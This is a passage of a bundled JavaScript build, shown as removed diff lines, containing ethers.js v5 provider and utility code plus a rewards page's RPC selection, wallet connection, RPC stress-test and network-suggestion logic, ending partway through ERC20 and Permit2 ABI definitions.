typeof apiKey !== "string") { - logger59.throwArgumentError("invalid apiKey", "apiKey", apiKey); - } - return apiKey || defaultApiKey3; - } - static getUrl(network, apiKey) { - logger59.warn("NodeSmith will be discontinued on 2019-12-20; please migrate to another platform."); - let host = null; - switch (network.name) { - case "homestead": - host = "https://ethereum.api.nodesmith.io/v1/mainnet/jsonrpc"; - break; - case "ropsten": - host = "https://ethereum.api.nodesmith.io/v1/ropsten/jsonrpc"; - break; - case "rinkeby": - host = "https://ethereum.api.nodesmith.io/v1/rinkeby/jsonrpc"; - break; - case "goerli": - host = "https://ethereum.api.nodesmith.io/v1/goerli/jsonrpc"; - break; - case "kovan": - host = "https://ethereum.api.nodesmith.io/v1/kovan/jsonrpc"; - break; - default: - logger59.throwArgumentError("unsupported network", "network", arguments[0]); - } - return host + "?apiKey=" + apiKey; - } - }; - - // node_modules/@ethersproject/providers/lib.esm/pocket-provider.js - var logger60 = new Logger2(version43); - var defaultApplicationId = "62e1ad51b37b8e00394bda3b"; - var PocketProvider = class extends UrlJsonRpcProvider { - static getApiKey(apiKey) { - const apiKeyObj = { - applicationId: null, - loadBalancer: true, - applicationSecretKey: null - }; - if (apiKey == null) { - apiKeyObj.applicationId = defaultApplicationId; - } else if (typeof apiKey === "string") { - apiKeyObj.applicationId = apiKey; - } else if (apiKey.applicationSecretKey != null) { - apiKeyObj.applicationId = apiKey.applicationId; - apiKeyObj.applicationSecretKey = apiKey.applicationSecretKey; - } else if (apiKey.applicationId) { - apiKeyObj.applicationId = apiKey.applicationId; - } else { - logger60.throwArgumentError("unsupported PocketProvider apiKey", "apiKey", apiKey); - } - return apiKeyObj; - } - static getUrl(network, apiKey) { - let host = null; - switch (network ? network.name : "unknown") { - case "goerli": - host = "eth-goerli.gateway.pokt.network"; - break; - case "homestead": - host = "eth-mainnet.gateway.pokt.network"; - break; - case "kovan": - host = "poa-kovan.gateway.pokt.network"; - break; - case "matic": - host = "poly-mainnet.gateway.pokt.network"; - break; - case "maticmum": - host = "polygon-mumbai-rpc.gateway.pokt.network"; - break; - case "rinkeby": - host = "eth-rinkeby.gateway.pokt.network"; - break; - case "ropsten": - host = "eth-ropsten.gateway.pokt.network"; - break; - default: - logger60.throwError("unsupported network", Logger2.errors.INVALID_ARGUMENT, { - argument: "network", - value: network - }); - } - const url = `https://${host}/v1/lb/${apiKey.applicationId}`; - const connection = { headers: {}, url }; - if (apiKey.applicationSecretKey != null) { - connection.user = ""; - connection.password = apiKey.applicationSecretKey; - } - return connection; - } - isCommunityResource() { - return this.applicationId === defaultApplicationId; - } - }; - - // node_modules/@ethersproject/providers/lib.esm/web3-provider.js - var logger61 = new Logger2(version43); - var _nextId = 1; - function buildWeb3LegacyFetcher(provider, sendFunc) { - const fetcher = "Web3LegacyFetcher"; - return function(method, params) { - const request = { - method, - params, - id: _nextId++, - jsonrpc: "2.0" - }; - return new Promise((resolve, reject) => { - this.emit("debug", { - action: "request", - fetcher, - request: deepCopy2(request), - provider: this - }); - sendFunc(request, (error, response) => { - if (error) { - this.emit("debug", { - action: "response", - fetcher, - error, - request, - provider: this - }); - return reject(error); - } - this.emit("debug", { - action: "response", - fetcher, - request, - response, - provider: this - }); - if (response.error) { - const error2 = new Error(response.error.message); - error2.code = response.error.code; - error2.data = response.error.data; - return reject(error2); - } - resolve(response.result); - }); - }); - }; - } - function buildEip1193Fetcher(provider) { - return function(method, params) { - if (params == null) { - params = []; - } - const request = { method, params }; - this.emit("debug", { - action: "request", - fetcher: "Eip1193Fetcher", - request: deepCopy2(request), - provider: this - }); - return provider.request(request).then((response) => { - this.emit("debug", { - action: "response", - fetcher: "Eip1193Fetcher", - request, - response, - provider: this - }); - return response; - }, (error) => { - this.emit("debug", { - action: "response", - fetcher: "Eip1193Fetcher", - request, - error, - provider: this - }); - throw error; - }); - }; - } - var Web3Provider = class extends JsonRpcProvider2 { - constructor(provider, network) { - if (provider == null) { - logger61.throwArgumentError("missing provider", "provider", provider); - } - let path = null; - let jsonRpcFetchFunc = null; - let subprovider = null; - if (typeof provider === "function") { - path = "unknown:"; - jsonRpcFetchFunc = provider; - } else { - path = provider.host || provider.path || ""; - if (!path && provider.isMetaMask) { - path = "metamask"; - } - subprovider = provider; - if (provider.request) { - if (path === "") { - path = "eip-1193:"; - } - jsonRpcFetchFunc = buildEip1193Fetcher(provider); - } else if (provider.sendAsync) { - jsonRpcFetchFunc = buildWeb3LegacyFetcher(provider, provider.sendAsync.bind(provider)); - } else if (provider.send) { - jsonRpcFetchFunc = buildWeb3LegacyFetcher(provider, provider.send.bind(provider)); - } else { - logger61.throwArgumentError("unsupported provider", "provider", provider); - } - if (!path) { - path = "unknown:"; - } - } - super(path, network); - defineReadOnly2(this, "jsonRpcFetchFunc", jsonRpcFetchFunc); - defineReadOnly2(this, "provider", subprovider); - } - send(method, params) { - return this.jsonRpcFetchFunc(method, params); - } - }; - - // node_modules/@ethersproject/providers/lib.esm/index.js - var logger62 = new Logger2(version43); - function getDefaultProvider(network, options) { - if (network == null) { - network = "homestead"; - } - if (typeof network === "string") { - const match = network.match(/^(ws|http)s?:/i); - if (match) { - switch (match[1].toLowerCase()) { - case "http": - case "https": - return new JsonRpcProvider2(network); - case "ws": - case "wss": - return new WebSocketProvider(network); - default: - logger62.throwArgumentError("unsupported URL scheme", "network", network); - } - } - } - const n = getNetwork2(network); - if (!n || !n._defaultProvider) { - logger62.throwError("unsupported getDefaultProvider network", Logger2.errors.NETWORK_ERROR, { - operation: "getDefaultProvider", - network - }); - } - return n._defaultProvider({ - FallbackProvider, - AlchemyProvider, - AnkrProvider, - CloudflareProvider, - EtherscanProvider, - InfuraProvider, - JsonRpcProvider: JsonRpcProvider2, - NodesmithProvider, - PocketProvider, - Web3Provider, - IpcProvider - }, options); - } - - // node_modules/ethers/lib.esm/utils.js - var utils_exports2 = {}; - __export(utils_exports2, { - AbiCoder: () => AbiCoder, - ConstructorFragment: () => ConstructorFragment, - ErrorFragment: () => ErrorFragment, - EventFragment: () => EventFragment, - FormatTypes: () => FormatTypes, - Fragment: () => Fragment, - FunctionFragment: () => FunctionFragment, - HDNode: () => HDNode, - Indexed: () => Indexed, - Interface: () => Interface, - LogDescription: () => LogDescription, - Logger: () => Logger2, - ParamType: () => ParamType, - RLP: () => lib_exports, - SigningKey: () => SigningKey2, - SupportedAlgorithm: () => SupportedAlgorithm, - TransactionDescription: () => TransactionDescription, - TransactionTypes: () => TransactionTypes2, - UnicodeNormalizationForm: () => UnicodeNormalizationForm2, - Utf8ErrorFuncs: () => Utf8ErrorFuncs2, - Utf8ErrorReason: () => Utf8ErrorReason2, - _TypedDataEncoder: () => TypedDataEncoder2, - _fetchData: () => _fetchData2, - _toEscapedUtf8String: () => _toEscapedUtf8String, - accessListify: () => accessListify2, - arrayify: () => arrayify2, - base58: () => Base582, - base64: () => lib_exports3, - checkProperties: () => checkProperties2, - checkResultErrors: () => checkResultErrors, - commify: () => commify, - computeAddress: () => computeAddress2, - computeHmac: () => computeHmac, - computePublicKey: () => computePublicKey2, - concat: () => concat2, - deepCopy: () => deepCopy2, - defaultAbiCoder: () => defaultAbiCoder, - defaultPath: () => defaultPath, - defineReadOnly: () => defineReadOnly2, - dnsEncode: () => dnsEncode2, - entropyToMnemonic: () => entropyToMnemonic, - fetchJson: () => fetchJson2, - formatBytes32String: () => formatBytes32String, - formatEther: () => formatEther, - formatUnits: () => formatUnits, - getAccountPath: () => getAccountPath, - getAddress: () => getAddress2, - getContractAddress: () => getContractAddress2, - getCreate2Address: () => getCreate2Address, - getIcapAddress: () => getIcapAddress, - getJsonWalletAddress: () => getJsonWalletAddress, - getStatic: () => getStatic2, - hashMessage: () => hashMessage, - hexConcat: () => hexConcat2, - hexDataLength: () => hexDataLength2, - hexDataSlice: () => hexDataSlice2, - hexStripZeros: () => hexStripZeros2, - hexValue: () => hexValue2, - hexZeroPad: () => hexZeroPad2, - hexlify: () => hexlify2, - id: () => id2, - isAddress: () => isAddress, - isBytes: () => isBytes2, - isBytesLike: () => isBytesLike2, - isHexString: () => isHexString2, - isValidMnemonic: () => isValidMnemonic, - isValidName: () => isValidName, - joinSignature: () => joinSignature, - keccak256: () => keccak2562, - mnemonicToEntropy: () => mnemonicToEntropy, - mnemonicToSeed: () => mnemonicToSeed, - namehash: () => namehash2, - nameprep: () => nameprep, - parseBytes32String: () => parseBytes32String, - parseEther: () => parseEther, - parseTransaction: () => parse2, - parseUnits: () => parseUnits, - poll: () => poll2, - randomBytes: () => randomBytes, - recoverAddress: () => recoverAddress2, - recoverPublicKey: () => recoverPublicKey2, - resolveProperties: () => resolveProperties2, - ripemd160: () => ripemd160, - serializeTransaction: () => serialize, - sha256: () => sha2563, - sha512: () => sha512, - shallowCopy: () => shallowCopy2, - shuffled: () => shuffled, - solidityKeccak256: () => keccak2563, - solidityPack: () => pack2, - soliditySha256: () => sha2564, - splitSignature: () => splitSignature2, - stripZeros: () => stripZeros2, - toUtf8Bytes: () => toUtf8Bytes2, - toUtf8CodePoints: () => toUtf8CodePoints2, - toUtf8String: () => toUtf8String2, - verifyMessage: () => verifyMessage, - verifyTypedData: () => verifyTypedData, - zeroPad: () => zeroPad2 - }); - - // node_modules/@ethersproject/solidity/lib.esm/_version.js - var version44 = "solidity/5.7.0"; - - // node_modules/@ethersproject/solidity/lib.esm/index.js - var regexBytes = new RegExp("^bytes([0-9]+)$"); - var regexNumber = new RegExp("^(u?int)([0-9]*)$"); - var regexArray = new RegExp("^(.*)\\[([0-9]*)\\]$"); - var Zeros3 = "0000000000000000000000000000000000000000000000000000000000000000"; - var logger63 = new Logger2(version44); - function _pack(type, value, isArray2) { - switch (type) { - case "address": - if (isArray2) { - return zeroPad2(value, 32); - } - return arrayify2(value); - case "string": - return toUtf8Bytes2(value); - case "bytes": - return arrayify2(value); - case "bool": - value = value ? "0x01" : "0x00"; - if (isArray2) { - return zeroPad2(value, 32); - } - return arrayify2(value); - } - let match = type.match(regexNumber); - if (match) { - let size = parseInt(match[2] || "256"); - if (match[2] && String(size) !== match[2] || size % 8 !== 0 || size === 0 || size > 256) { - logger63.throwArgumentError("invalid number type", "type", type); - } - if (isArray2) { - size = 256; - } - value = BigNumber2.from(value).toTwos(size); - return zeroPad2(value, size / 8); - } - match = type.match(regexBytes); - if (match) { - const size = parseInt(match[1]); - if (String(size) !== match[1] || size === 0 || size > 32) { - logger63.throwArgumentError("invalid bytes type", "type", type); - } - if (arrayify2(value).byteLength !== size) { - logger63.throwArgumentError(`invalid value for ${type}`, "value", value); - } - if (isArray2) { - return arrayify2((value + Zeros3).substring(0, 66)); - } - return value; - } - match = type.match(regexArray); - if (match && Array.isArray(value)) { - const baseType = match[1]; - const count = parseInt(match[2] || String(value.length)); - if (count != value.length) { - logger63.throwArgumentError(`invalid array length for ${type}`, "value", value); - } - const result = []; - value.forEach(function(value2) { - result.push(_pack(baseType, value2, true)); - }); - return concat2(result); - } - return logger63.throwArgumentError("invalid type", "type", type); - } - function pack2(types, values) { - if (types.length != values.length) { - logger63.throwArgumentError("wrong number of values; expected ${ types.length }", "values", values); - } - const tight = []; - types.forEach(function(type, index2) { - tight.push(_pack(type, values[index2])); - }); - return hexlify2(concat2(tight)); - } - function keccak2563(types, values) { - return keccak2562(pack2(types, values)); - } - function sha2564(types, values) { - return sha2563(pack2(types, values)); - } - - // node_modules/@ethersproject/units/lib.esm/_version.js - var version45 = "units/5.7.0"; - - // node_modules/@ethersproject/units/lib.esm/index.js - var logger64 = new Logger2(version45); - var names = [ - "wei", - "kwei", - "mwei", - "gwei", - "szabo", - "finney", - "ether" - ]; - function commify(value) { - const comps = String(value).split("."); - if (comps.length > 2 || !comps[0].match(/^-?[0-9]*$/) || comps[1] && !comps[1].match(/^[0-9]*$/) || value === "." || value === "-.") { - logger64.throwArgumentError("invalid value", "value", value); - } - let whole = comps[0]; - let negative = ""; - if (whole.substring(0, 1) === "-") { - negative = "-"; - whole = whole.substring(1); - } - while (whole.substring(0, 1) === "0") { - whole = whole.substring(1); - } - if (whole === "") { - whole = "0"; - } - let suffix = ""; - if (comps.length === 2) { - suffix = "." + (comps[1] || "0"); - } - while (suffix.length > 2 && suffix[suffix.length - 1] === "0") { - suffix = suffix.substring(0, suffix.length - 1); - } - const formatted = []; - while (whole.length) { - if (whole.length <= 3) { - formatted.unshift(whole); - break; - } else { - const index2 = whole.length - 3; - formatted.unshift(whole.substring(index2)); - whole = whole.substring(0, index2); - } - } - return negative + formatted.join(",") + suffix; - } - function formatUnits(value, unitName) { - if (typeof unitName === "string") { - const index2 = names.indexOf(unitName); - if (index2 !== -1) { - unitName = 3 * index2; - } - } - return formatFixed(value, unitName != null ? unitName : 18); - } - function parseUnits(value, unitName) { - if (typeof value !== "string") { - logger64.throwArgumentError("value must be a string", "value", value); - } - if (typeof unitName === "string") { - const index2 = names.indexOf(unitName); - if (index2 !== -1) { - unitName = 3 * index2; - } - } - return parseFixed(value, unitName != null ? unitName : 18); - } - function formatEther(wei) { - return formatUnits(wei, 18); - } - function parseEther(ether) { - return parseUnits(ether, 18); - } - - // node_modules/ethers/lib.esm/_version.js - var version46 = "ethers/5.7.2"; - - // node_modules/ethers/lib.esm/ethers.js - var logger65 = new Logger2(version46); - - // node_modules/ethers/lib.esm/index.js - try { - const anyGlobal2 = window; - if (anyGlobal2._ethers == null) { - anyGlobal2._ethers = ethers_exports; - } - } catch (error) { - } - - // static/scripts/rewards/web3/use-rpc-handler.ts - function useHandler(networkId) { - const config = { - networkId, - autoStorage: true, - cacheRefreshCycles: 5, - rpcTimeout: 1500, - networkName: null, - runtimeRpcs: null, - networkRpcs: null - }; - return new RPCHandler(config); - } - async function useRpcHandler(app2) { - const networkId = app2.networkId; - if (!networkId) { - throw new Error("Network ID not set"); - } - const handler = await useHandler(networkId); - const provider = await handler.getFastestRpcProvider(); - const url = provider.connection.url; - if (!url) { - throw new Error("Provider URL not set"); - } - return provider; - } - - // static/scripts/rewards/web3/connect-wallet.ts - function checkMobile(a) { - if ( - // eslint-disable-next-line no-useless-escape - /(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test( - a - ) || // eslint-disable-next-line no-useless-escape - /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test( - a.substring(0, 4) - ) - ) { - return true; - } - } - function mobileCheck() { - return checkMobile(navigator.userAgent || navigator.vendor || window.opera); - } - async function connectWallet() { - try { - const wallet = new ethers_exports.providers.Web3Provider(window.ethereum); - if (mobileCheck()) { - window.history.pushState({}, "", "/"); - } - await wallet.send("eth_requestAccounts", []); - const signer = wallet.getSigner(); - const address = await signer.getAddress(); - if (!address) { - buttonController.hideAll(); - console.error("Wallet not connected"); - return null; - } - const isOkay = await stressTestWalletRpc(wallet); - if (!isOkay) { - if (mobileCheck()) { - toaster.create("info", `In case of network issues, please change your in-wallet RPC to the one below...`, 15e3); - } else { - toaster.create("error", "We have detected potential issues with your in-wallet RPC. Accept the request to replace it with a more reliable one."); - } - await addFastestHandlerNetwork(wallet); - } - return signer; - } catch (error) { - return connectErrorHandler(error); - } - } - async function addFastestHandlerNetwork(wallet) { - const networkId = app.networkId ?? (await wallet.getNetwork()).chainId; - const handler = useHandler(networkId); - let provider = await handler.getFastestRpcProvider(); - const appUrl = app.provider?.connection?.url; - const latencies = handler.getLatencies(); - const latenciesArray = Object.entries(latencies).map(([url, latency]) => ({ url, latency })); - const sorted = latenciesArray.sort((a, b) => a.latency - b.latency); - let toSuggest = sorted[0]; - let isOkay = false; - for await (const { url } of sorted) { - const _url = url.split("__")[1]; - if (_url !== appUrl) { - provider = new ethers_exports.providers.JsonRpcProvider(_url); - isOkay = await stressTestWalletRpc(provider); - if (isOkay) { - toSuggest = { url: _url, latency: latencies[url] }; - break; - } - } - } - if (!isOkay) { - toaster.create("error", "We failed to find a more reliable RPC for you. Please try again later if you have network issues."); - return; - } - try { - await addHandlerSuggested(wallet, toSuggest.url); - } catch (error) { - toaster.create("info", `${toSuggest.url}`, Infinity); - } - } - async function addHandlerSuggested(provider, url) { - const symbol = app.networkId === 1 ? "ETH" : "XDAI"; - const altSymbol = app.networkId === 1 ? "eth" : "xdai"; - const altSymbol2 = app.networkId === 1 ? "Eth" : "xDai"; - if (mobileCheck()) { - toaster.create("info", `${url}`, Infinity); - return; - } - for (const _symbol of [symbol, altSymbol, altSymbol2]) { - await addProvider(provider, url, _symbol, app.networkId); - } - } - async function addProvider(provider, url, symbol, chainId) { - const _chainId = chainId || (await provider.getNetwork()).chainId; - try { - await provider.send("wallet_addEthereumChain", [ - { - chainId: `0x${_chainId.toString(16)}`, - chainName: _chainId === 1 ? "Ethereum" : "Gnosis", - nativeCurrency: { - name: _chainId === 1 ? "ETH" : "XDAI", - symbol, - decimals: 18 - }, - rpcUrls: [url], - blockExplorerUrls: [`https://${_chainId === 1 ? "etherscan" : "gnosisscan"}.io`] - } - ]); - } catch { - console.error("Failed to add network"); - } - } - async function stressTestWalletRpc(provider) { - const success = []; - for (let i = 0; i < 6; i++) { - success.push(testNonceBitmapEthCall(provider)); - } - const timeoutPromise = new Promise((resolve) => { - setTimeout(() => { - resolve([false]); - }, 7e3); - }); - const results = await Promise.race([Promise.all(success), timeoutPromise]); - return results.filter((s) => s === "0x" + "00".repeat(32)).length > 5 && results.filter((s) => s === false).length < 1; - } - async function testNonceBitmapEthCall(provider) { - try { - return await provider.send("eth_call", [ - { - to: "0x000000000022D473030F116dDEE9F6B43aC78BA3", - // input works for desktop, needs to be data for mobile - data: "0x4fe02b44000000000000000000000000d9530f3fbbea11bed01dc09e79318f2f20223716001fd097bcb5a1759ce02c0a671386a0bbbfa8216559e5855698a9d4de4cddea" - }, - "latest" - ]); - } catch { - } - } - function connectErrorHandler(error) { - if (error instanceof Error) { - console.error(error); - if (error?.message?.includes("missing provider")) { - if (mobileCheck()) { - toaster.create("warning", "Please use a mobile-friendly Web3 browser such as MetaMask to collect this reward", Infinity); - } else if (!window.ethereum) { - toaster.create("warning", "Please use a web3 enabled browser to collect this reward.", Infinity); - buttonController.hideAll(); - } - } else { - toaster.create("error", error.message); - } - } else { - toaster.create("error", "An unknown error occurred" + JSON.stringify(error)); - } - if (window.location.href.includes("localhost")) { - return window.signer; - } - return null; - } - - // static/scripts/rewards/abis/erc20-abi.ts - var erc20Abi = [ - { inputs: [{ internalType: "uint256", name: "chainId_", type: "uint256" }], payable: false, stateMutability: "nonpayable", type: "constructor" }, - { - anonymous: false, - inputs: [ - { indexed: true, internalType: "address", name: "src", type: "address" }, - { indexed: true, internalType: "address", name: "guy", type: "address" }, - { indexed: false, internalType: "uint256", name: "wad", type: "uint256" } - ], - name: "Approval", - type: "event" - }, - { - anonymous: true, - inputs: [ - { indexed: true, internalType: "bytes4", name: "sig", type: "bytes4" }, - { indexed: true, internalType: "address", name: "usr", type: "address" }, - { indexed: true, internalType: "bytes32", name: "arg1", type: "bytes32" }, - { indexed: true, internalType: "bytes32", name: "arg2", type: "bytes32" }, - { indexed: false, internalType: "bytes", name: "data", type: "bytes" } - ], - name: "LogNote", - type: "event" - }, - { - anonymous: false, - inputs: [ - { indexed: true, internalType: "address", name: "src", type: "address" }, - { indexed: true, internalType: "address", name: "dst", type: "address" }, - { indexed: false, internalType: "uint256", name: "wad", type: "uint256" } - ], - name: "Transfer", - type: "event" - }, - { - constant: true, - inputs: [], - name: "DOMAIN_SEPARATOR", - outputs: [{ internalType: "bytes32", name: "", type: "bytes32" }], - payable: false, - stateMutability: "view", - type: "function" - }, - { - constant: true, - inputs: [], - name: "PERMIT_TYPEHASH", - outputs: [{ internalType: "bytes32", name: "", type: "bytes32" }], - payable: false, - stateMutability: "view", - type: "function" - }, - { - constant: true, - inputs: [ - { internalType: "address", name: "", type: "address" }, - { internalType: "address", name: "", type: "address" } - ], - name: "allowance", - outputs: [{ internalType: "uint256", name: "", type: "uint256" }], - payable: false, - stateMutability: "view", - type: "function" - }, - { - constant: false, - inputs: [ - { internalType: "address", name: "usr", type: "address" }, - { internalType: "uint256", name: "wad", type: "uint256" } - ], - name: "approve", - outputs: [{ internalType: "bool", name: "", type: "bool" }], - payable: false, - stateMutability: "nonpayable", - type: "function" - }, - { - constant: true, - inputs: [{ internalType: "address", name: "", type: "address" }], - name: "balanceOf", - outputs: [{ internalType: "uint256", name: "", type: "uint256" }], - payable: false, - stateMutability: "view", - type: "function" - }, - { - constant: false, - inputs: [ - { internalType: "address", name: "usr", type: "address" }, - { internalType: "uint256", name: "wad", type: "uint256" } - ], - name: "burn", - outputs: [], - payable: false, - stateMutability: "nonpayable", - type: "function" - }, - { - constant: true, - inputs: [], - name: "decimals", - outputs: [{ internalType: "uint8", name: "", type: "uint8" }], - payable: false, - stateMutability: "view", - type: "function" - }, - { - constant: false, - inputs: [{ internalType: "address", name: "guy", type: "address" }], - name: "deny", - outputs: [], - payable: false, - stateMutability: "nonpayable", - type: "function" - }, - { - constant: false, - inputs: [ - { internalType: "address", name: "usr", type: "address" }, - { internalType: "uint256", name: "wad", type: "uint256" } - ], - name: "mint", - outputs: [], - payable: false, - stateMutability: "nonpayable", - type: "function" - }, - { - constant: false, - inputs: [ - { internalType: "address", name: "src", type: "address" }, - { internalType: "address", name: "dst", type: "address" }, - { internalType: "uint256", name: "wad", type: "uint256" } - ], - name: "move", - outputs: [], - payable: false, - stateMutability: "nonpayable", - type: "function" - }, - { - constant: true, - inputs: [], - name: "name", - outputs: [{ internalType: "string", name: "", type: "string" }], - payable: false, - stateMutability: "view", - type: "function" - }, - { - constant: true, - inputs: [{ internalType: "address", name: "", type: "address" }], - name: "nonces", - outputs: [{ internalType: "uint256", name: "", type: "uint256" }], - payable: false, - stateMutability: "view", - type: "function" - }, - { - constant: false, - inputs: [ - { internalType: "address", name: "holder", type: "address" }, - { internalType: "address", name: "spender", type: "address" }, - { internalType: "uint256", name: "nonce", type: "uint256" }, - { internalType: "uint256", name: "expiry", type: "uint256" }, - { internalType: "bool", name: "allowed", type: "bool" }, - { internalType: "uint8", name: "v", type: "uint8" }, - { internalType: "bytes32", name: "r", type: "bytes32" }, - { internalType: "bytes32", name: "s", type: "bytes32" } - ], - name: "permit", - outputs: [], - payable: false, - stateMutability: "nonpayable", - type: "function" - }, - { - constant: false, - inputs: [ - { internalType: "address", name: "usr", type: "address" }, - { internalType: "uint256", name: "wad", type: "uint256" } - ], - name: "pull", - outputs: [], - payable: false, - stateMutability: "nonpayable", - type: "function" - }, - { - constant: false, - inputs: [ - { internalType: "address", name: "usr", type: "address" }, - { internalType: "uint256", name: "wad", type: "uint256" } - ], - name: "push", - outputs: [], - payable: false, - stateMutability: "nonpayable", - type: "function" - }, - { - constant: false, - inputs: [{ internalType: "address", name: "guy", type: "address" }], - name: "rely", - outputs: [], - payable: false, - stateMutability: "nonpayable", - type: "function" - }, - { - constant: true, - inputs: [], - name: "symbol", - outputs: [{ internalType: "string", name: "", type: "string" }], - payable: false, - stateMutability: "view", - type: "function" - }, - { - constant: true, - inputs: [], - name: "totalSupply", - outputs: [{ internalType: "uint256", name: "", type: "uint256" }], - payable: false, - stateMutability: "view", - type: "function" - }, - { - constant: false, - inputs: [ - { internalType: "address", name: "dst", type: "address" }, - { internalType: "uint256", name: "wad", type: "uint256" } - ], - name: "transfer", - outputs: [{ internalType: "bool", name: "", type: "bool" }], - payable: false, - stateMutability: "nonpayable", - type: "function" - }, - { - constant: false, - inputs: [ - { internalType: "address", name: "src", type: "address" }, - { internalType: "address", name: "dst", type: "address" }, - { internalType: "uint256", name: "wad", type: "uint256" } - ], - name: "transferFrom", - outputs: [{ internalType: "bool", name: "", type: "bool" }], - payable: false, - stateMutability: "nonpayable", - type: "function" - }, - { - constant: true, - inputs: [], - name: "version", - outputs: [{ internalType: "string", name: "", type: "string" }], - payable: false, - stateMutability: "view", - type: "function" - }, - { - constant: true, - inputs: [{ internalType: "address", name: "", type: "address" }], - name: "wards", - outputs: [{ internalType: "uint256", name: "", type: "uint256" }], - payable: false, - stateMutability: "view", - type: "function" - } - ]; - - // static/scripts/rewards/abis/permit2-abi.ts - var permit2Abi = [ - { inputs: [{ internalType: "uint256", name: "deadline", type: "uint256" }], name: "AllowanceExpired", type: "error" }, - { inputs: [], name: "ExcessiveInvalidation", type: "error" }, - { inputs: [{ internalType: "uint256", name: "amount", type: "uint256" }], name: "InsufficientAllowance", type: "error" }, - { inputs: [{ internalType: "uint256", name: "maxAmount", type: "uint256" }], name: "InvalidAmount", type: "error" }, - { inputs: [], name: "InvalidContractSignature", type: "error" }, - { inputs: [], name: "InvalidNonce", type: "error" }, - { inputs: [], name: "InvalidSignature", type: "error" }, - { inputs: [], name: "InvalidSignatureLength", type: "error" }, - { inputs: [], name: "InvalidSigner", type: "error" }, - { inputs: [], name: "LengthMismatch", type: "error" }, - { inputs: [{ internalType: "uint256", name: "signatureDeadline", type: "uint256" }], name: "SignatureExpired", type: "error" }, - { - anonymous: false, - inputs: [ - { indexed: true, internalType: "address", name: "owner", type: "address" }, - { indexed: true, internalType: "address", name: "token", type: "address" }, - { indexed: true, internalType: "address", name: "spender", type: "address" }, - { indexed: false, internalType: "uint160", name: "amount", type: "uint160" }, - { indexed: false, internalType: "uint48", name: "expiration", type: "uint48" } - ], - name: "Approval", - type: "event" - }, - { - anonymous: false, - inputs: [ - { indexed: true, internalType: "address", name: "owner", type: "address" }, - { indexed: false, internalType: "address", name: "token", type: "address" }, - { indexed: false, internalType: "address", name: "spender", type: "address" } - ], - name: "Lockdown", - type: "event" - }, - { - anonymous: false, - inputs: [ - { indexed: true, internalType: "address", name: "owner", type: "address" }, - { indexed: true, internalType: "address", name: "token", type: "address" }, - { indexed: true, internalType: "address", name: "spender", type: "address" }, - { indexed: false, internalType: "uint48", name: "newNonce", type: "uint48" }, - { indexed: false, internalType: "uint48", name: "oldNonce", type: "uint48" } - ], - name: "NonceInvalidation", - type: "event" - }, - { - anonymous: false, - inputs: [ - { indexed: true, internalType: "address", name: "owner", type: "address" }, - { indexed: true, internalType: "address", name: "token", type: "address" }, - { indexed: true, internalType: "address", name: "spender", type: "address" }, - { indexed: false, internalType: "uint160", name: "amount", type: "uint160" }, - { indexed: false, internalType: "uint48", name: "expiration", type: "uint48" }, - { indexed: false, internalType: "uint48", name: "nonce", type: "uint48" } - ], - name: "Permit", - type: "event" - }, - { - anonymous: false, - inputs: [ - { indexed: true, internalType: "address", name: "owner", type: "address" }, - { indexed: false, internalType: "uint256", name: "word", type: "uint256" }, - { indexed: false, internalType: "uint256", name: "mask", type: "uint256" } - ], - name: "UnorderedNonceInvalidation", - type: "event" - }, - { inputs: [], name: "DOMAIN_SEPARATOR", outputs: [{ internalType: "bytes32", name: "", type: "bytes32" }], stateMutability: "view", type: "function" }, - { - inputs: [ - { internalType: "address", name: "", type: "address" }, - { 